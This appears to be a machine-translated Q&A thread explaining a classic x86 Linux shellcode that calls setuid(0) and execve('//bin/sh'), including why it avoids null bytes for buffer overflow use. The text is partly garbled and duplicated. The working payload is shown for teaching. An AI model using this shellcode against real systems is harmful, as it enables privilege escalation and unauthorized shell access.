Assembly 如何解释以下外壳代码攻击的行为?
这是利用bufferoverflow漏洞进行攻击的外壳代码。它设置Assembly 如何解释以下外壳代码攻击的行为?,assembly,x86,buffer-overflow,exploit,shellcode,Assembly,X86,Buffer Overflow,Exploit,Shellcode,这是利用bufferoverflow漏洞进行攻击的外壳代码。它设置setuid(0)并使用execve()生成一个shell。以下是我对它的解释: xor %ebx,%ebx ; Xoring to make ebx value 0 lea 0x17(%ebx),%eax ; adds 23 to 0 and loads effective addr to eax. for setuid() int $0x80 ; interrupt push
setuid(0)
并使用execve()
生成一个shell。以下是我对它的解释:
xor %ebx,%ebx ; Xoring to make ebx value 0
lea 0x17(%ebx),%eax ; adds 23 to 0 and loads effective addr to eax. for setuid()
int $0x80 ; interrupt
push %ebx ; push ebx
push $0x68732f6e ; push address // why this address only????
push $0x69622f2f ; push address // same question
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
cltd ; mov execve sys call into al
mov $0xb,%al
int $0x80 ; interrupt
有人能解释清楚整个步骤吗?
int
是触发软件中断的操作码。软件中断被编号(从0到255)并由内核处理。在Linux系统上,中断128(0x80)是系统调用的常规入口点。内核需要寄存器中的系统调用参数;特别是,%eax寄存器标识了我们正在讨论的系统调用
lea
作为“加载有效地址”,但不涉及内存访问;这只是进行加法的一种迂回方式)setuid
。该系统调用使用了一个参数(目标UID),可以在%ebx中找到,该参数在该点上方便地包含0(它是在第一条指令中设置的)。注意:在返回时,除了%eax包含系统调用的返回值外,寄存器未被修改,通常为0(如果调用成功)setuid
返回的状态)execve
系统调用将用作第二个参数的数组cltd
是AT&T的语法,英特尔文档称之为cdq
。由于%eax在该点为零,因此这会将%edx也设置为零execve
execve
需要三个参数,分别为%ebx(指向命名要执行文件的字符串的指针)、%ecx(指向字符串的指针数组,这些字符串是程序参数,第一个是程序名的副本,将由调用的程序本身使用)和%edx(指向字符串指针数组的指针,字符串是环境变量;对于空环境,Linux允许该值为NULL)setuid(0)
,然后调用execve(“//bin/sh”,x,0)
,其中x
指向两个指针的数组,第一个指针指向“//bin/sh”,而另一个指针为空
此代码非常复杂,因为它希望避免零:当组装成二进制操作码时,指令序列仅使用非零字节。例如,如果第12条指令是
movl$0xb,%eax
(将整个%eax设置为11),则该操作码的二进制表示形式将包含三个值为0的字节。缺少零使该序列可用作以零结尾的C字符串的内容。当然,这是为了通过缓冲区溢出攻击有缺陷的程序。Pomin:实际上,代码是复杂的,因为它试图尽可能小e、 这是Gera从Core Security使用的著名的24字节外壳代码的修改版本(我希望我得到了正确的归属,我不知道如何在网上搜索该代码的最早出现)。